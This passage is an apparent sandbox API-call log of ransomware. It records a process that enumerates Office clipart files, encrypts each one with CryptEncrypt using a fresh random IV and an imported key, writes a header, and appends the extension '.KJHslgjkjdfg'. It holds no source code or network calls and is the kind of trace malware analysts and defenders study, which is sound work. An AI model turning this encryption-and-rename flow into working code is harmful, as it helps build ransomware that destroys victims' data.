pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1500) returned 1 [0178.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.886] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1500, lpOverlapped=0x0) returned 1 [0178.887] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.887] SetEndOfFile (hFile=0x114) returned 1 [0178.889] GetProcessHeap () returned 0x2a0000 [0178.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.889] GetProcessHeap () returned 0x2a0000 [0178.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.kjhslgjkjdfg")) returned 1 [0178.891] CloseHandle (hObject=0x114) returned 1 [0178.891] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1 [0178.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.892] GetProcessHeap () returned 0x2a0000 [0178.892] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.892] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.892] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.899] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.899] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.899] GetProcessHeap () returned 0x2a0000 [0178.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.899] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.899] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.900] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.900] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.900] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.900] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.900] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.900] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.900] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.900] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bcc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1bcc, lpOverlapped=0x0) returned 1 [0178.903] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bd0, dwBufLen=0x1bd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bd0) returned 1 [0178.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.903] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1bd0, lpOverlapped=0x0) returned 1 [0178.904] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.904] SetEndOfFile (hFile=0x114) returned 1 [0178.907] GetProcessHeap () returned 0x2a0000 [0178.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.907] GetProcessHeap () returned 0x2a0000 [0178.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.kjhslgjkjdfg")) returned 1 [0178.908] CloseHandle (hObject=0x114) returned 1 [0178.908] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1 [0178.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.910] GetProcessHeap () returned 0x2a0000 [0178.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.910] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.910] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.910] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0178.926] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.926] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.926] GetProcessHeap () returned 0x2a0000 [0178.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.926] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.926] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.927] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.927] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.927] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.927] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.927] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.927] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.927] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.927] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.927] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.927] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d94, lpOverlapped=0x0) returned 1 [0178.928] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1da0) returned 1 [0178.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.929] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1da0, lpOverlapped=0x0) returned 1 [0178.929] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.929] SetEndOfFile (hFile=0x114) returned 1 [0178.932] GetProcessHeap () returned 0x2a0000 [0178.932] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.932] GetProcessHeap () returned 0x2a0000 [0178.932] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.kjhslgjkjdfg")) returned 1 [0178.933] CloseHandle (hObject=0x114) returned 1 [0178.933] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1 [0178.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.934] GetProcessHeap () returned 0x2a0000 [0178.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.934] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.934] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.936] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.936] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.936] GetProcessHeap () returned 0x2a0000 [0178.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.936] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.936] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.936] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.936] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.936] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.937] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.937] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.937] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.937] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.937] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x221c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x221c, lpOverlapped=0x0) returned 1 [0178.938] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2220, dwBufLen=0x2220 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2220) returned 1 [0178.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.938] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2220, lpOverlapped=0x0) returned 1 [0178.938] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.938] SetEndOfFile (hFile=0x114) returned 1 [0178.941] GetProcessHeap () returned 0x2a0000 [0178.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.941] GetProcessHeap () returned 0x2a0000 [0178.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.kjhslgjkjdfg")) returned 1 [0178.943] CloseHandle (hObject=0x114) returned 1 [0178.943] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1 [0178.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.944] GetProcessHeap () returned 0x2a0000 [0178.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.944] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.947] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.947] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.947] GetProcessHeap () returned 0x2a0000 [0178.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.947] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.947] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.947] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.947] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.947] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.948] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.948] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.948] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaac, lpOverlapped=0x0) returned 1 [0178.948] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xab0, dwBufLen=0xab0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xab0) returned 1 [0178.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.948] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xab0, lpOverlapped=0x0) returned 1 [0178.948] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.948] SetEndOfFile (hFile=0x114) returned 1 [0178.951] GetProcessHeap () returned 0x2a0000 [0178.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.951] GetProcessHeap () returned 0x2a0000 [0178.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.kjhslgjkjdfg")) returned 1 [0178.953] CloseHandle 